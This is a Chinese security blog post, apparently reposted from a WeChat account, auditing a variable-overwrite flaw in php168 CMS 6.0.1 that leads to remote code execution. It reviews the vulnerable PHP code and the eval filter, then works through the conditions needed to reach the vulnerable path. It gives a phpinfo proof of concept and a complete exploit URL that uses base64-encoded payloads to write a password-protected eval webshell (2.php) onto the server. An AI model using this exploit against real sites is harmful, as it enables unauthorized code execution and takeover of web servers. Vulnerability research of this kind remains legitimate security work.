php168 6.0.1变量覆盖

admin 2023年4月24日15:34:12评论16 views字数 4011阅读13分22秒阅读模式
                     

学网安渗透

扫码加我吧

免费&进群

php168 6.0.1变量覆盖  
php168 6.0.1变量覆盖

Track安全社区投稿~  

千元稿费!还有保底奖励~


php168 6.0.1变量覆盖 -》 远程代码执行漏洞

前言:敢说全网最详细是因为我做一半我做不下去了,我心态做崩溃了,然后上网找漏洞成因,我找不到,然后又搞了好久,真的心态崩了,到最后灰盒测试的时候我可能PHP版本原因,我php代码写的是
``
url是 ?job=abc
然后他真的输出 abc 了
当时php版本好像是5.2
找出来是php版本问题的时候我幼小的心灵真的受到了莫大的冲击
源码在附件里


1. 代码审计

1. 漏洞产生文件

php168 6.0.1变量覆盖


2. 漏洞函数

function get_html_url(){
global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;
$id=$aid;
if($page$_value){
!ereg("^_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

很明显变量覆盖
也就是说,我们get传参,传啥有啥
post也行其实
因为这里也对POST传参干了这么一套流程

php168 6.0.1变量覆盖


3. Add_s() 函数 过滤传参

往上找的话
可以看到一段

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);

function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}

能看到 eval 是被过滤了
这里想要传入
${eval($_REQUEST[‘cmd’])}
是不太可能了
并且添加了魔术引号


既然找到了这里存在任意变量覆盖漏洞
我们就再回到post.php中看看上面还需要满足什么条件


4. showerr()函数追踪

我们可以看到showerr()的提示都是一些无权限
说明这里可能是类似于exit的东西,会停止页面执行

php168 6.0.1变量覆盖


全局搜索,追踪一下
我们可以看到这里一个 if 是退回上一级目录
在js中 history.back(-1) 这行代码就是退回上一级目录的意思
else 是去包含 showerr.htm 文件
然后退出

function showerr($msg,$type=''){
global $webdb,$showerrMsg;
$showerrMsg=$msg;
if($type==1){
$msg=str_replace("'","'",$msg);
echo "

";
}else{
require(PHP168_PATH."template/default/showerr.htm");
}
exit;
}

5. 条件分析

自下而上分析一下第一个条件

这里需要 $job 不等于 ‘postnew’
并且
$lfjid 的布尔值为 false 或者 为空 或者 为 0
两个条件都满足就会停止执行
如果我们想要触发漏洞
$job的值就需要是 ‘endHtml’
这里已经满足一个条件
只能从另一个条件入手
想办法让另一个条件不成立
亦或者 因为 这里的提示信息是 游客无权操作
所以只要我们不是游客身份,也就是注册个用户
再弄,就不会触发了

if(!$lfjid&&$job!='postnew')
{
showerr("游客无权操作");
}

第二个条件

第二个 if 中有三个条件判断是,都是以 && 符号连接
也就是三个都满足才会执行

if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))
{
showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");
}
  1. $fidDB

  2. !$web_admin

  3. !inarray($groupdb[gid],explode(',',$fidDB[allowpost]))

这三个条件分别解释的话
1 存在$fidDB值且非0
2 web_admin 的值为 0 或 false
3 $groupdb[gid] 得到的值不存在于 explode(‘,’,$fidDB[allowpost])) 中

$fidDB的值是由第三个条件从而赋值的

我们先看第三个条件

第三个条件
$fid 和 $stop 两个变量有一个存在就会执行

if($fid||$step){
$fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");
!$fidDB && showerr("栏目有误");
$fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");
}

$fidDB是根据 $fid 生成的
$fid的值并未在本页面赋值
可以判断这个可能也是由get传入
$$_key那里来进行赋值
所以应该不传入就行了


再向上最后一个 if 条件
if((!$fid&&!$only)||$jobs=="choose")

可以分为两个条件
两个条件满足一个就会触发
!fid&&!$only

$jobs=='choose'

第一个条件是说不存在 $fid 并且不存在$only
第二个条件是说需要 $jobs 等于 ‘choose’
这里的话直接实测一下他们的值


测试

直接访问
会提示你所在用户组无权发表文章

php168 6.0.1变量覆盖


然后我们打开代码发现
这条语句是自上而下第一个 if 的内容
我们在这个上面分别die一下这三个变量的值

php168 6.0.1变量覆盖


然后我们发现 this is 后面啥也没有
说明这里是空值
$only和$jobs也一样
php168 6.0.1变量覆盖


根据上面的分析条件
$fid是空值就是最好的状态
所以我们传入 only=1
删掉die语句
然后他让我登录…

php168 6.0.1变量覆盖


我们来寻找一下是哪个地方让我们登录的
通过die(‘abc’);
来查看代码到哪条语句之后让登录
哪条语句之前会 die 掉
就能找到是哪里让我们进行登录操作的

php168 6.0.1变量覆盖

php168 6.0.1变量覆盖


是这里的 showerror 函数拦截了我们
我们die一下 $lfjid 的值

php168 6.0.1变量覆盖

php168 6.0.1变量覆盖


根据这里的游客无权操作,我们可以得知应该注册账号就行了
但是因为前面的变量覆盖漏洞
我们试试看可不可以传入一个 lfjid=1 从而绕过

php168 6.0.1变量覆盖


可以发现还是不行
那就直接注册一个用户

php168 6.0.1变量覆盖


然后会发现页面没有提示了
php168 6.0.1变量覆盖


那么根据上面构造的语句
POC:

?showHtml_Type[bencandy][1]={${phpinfo()}}
&aid=1
&only=1
&job=endHtml

php168 6.0.1变量覆盖


GetShell

因为禁止了eval()函数
我们想要写入eval()木马的话
可以这样
{${phpinfo() and print(ok)}}
{${file_put_contents(“2.php”,base_decode(‘PD9AZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4g’)) and print(‘ok’)}}
结果我们发现页面上并没有打印ok

php168 6.0.1变量覆盖


这里的话因为php的版本问题(5.2.17)用下面的exp就能够生成木马
但是版本高了的话就不太能用了这个exp
因为魔术引号的存在就有了局限性
但是如果有CTF大佬的话这肯定也不在话下

exp就是下面这个
Mi5waHAg 是 2.php空格 的base64编码
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3Bhc3MnXSk7Pz4g 是一句话木马空格的base64编码
反正得在最后加一个空格,连着空格一起base64编码
就能得到这两串
按理来说里面是不允许存在 / = 这样的
/ 和 = 号也并未被拦截过滤,反正就是不能执行

通过这张截图就能看出来
因为这里的 die 语句我是写在 eval上面的
在最后命令执行的时候就是这个样子了
=和/都没被过滤

php168 6.0.1变量覆盖
EXP:

?showHtml_Type[bencandy][1]={${file_put_contents(base64_decode('Mi5waHAg'),base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3Bhc3MnXSk7Pz4g')) and print('ok')}}&aid=1&only=1&job=endHTML

会生成一个 2.php 密码为 pass 的文件


总结

这里其实也可以倒过来找漏洞
这里是从 eval 找到变量覆盖
其实也可以从变量覆盖的地方找到 eval rce
两种思路都可以
到了最后 exp 的地方我也蒙了
也不是很能找到原因
网上更是找不到相关的解析
找到的都要么直接放exp
要么就很乱的代码

修复建议

使用最新的cms框架


申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.


php168 6.0.1变量覆盖

没看够~?欢迎关注!


分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

 

php168 6.0.1变量覆盖

 分享后扫码加我



回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

php168 6.0.1变量覆盖

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力



原文始发于微信公众号(掌控安全EDU):php168 6.0.1变量覆盖

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月24日15:34:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   php168 6.0.1变量覆盖https://cn-sec.com/archives/1688925.html

发表评论

匿名网友 填写信息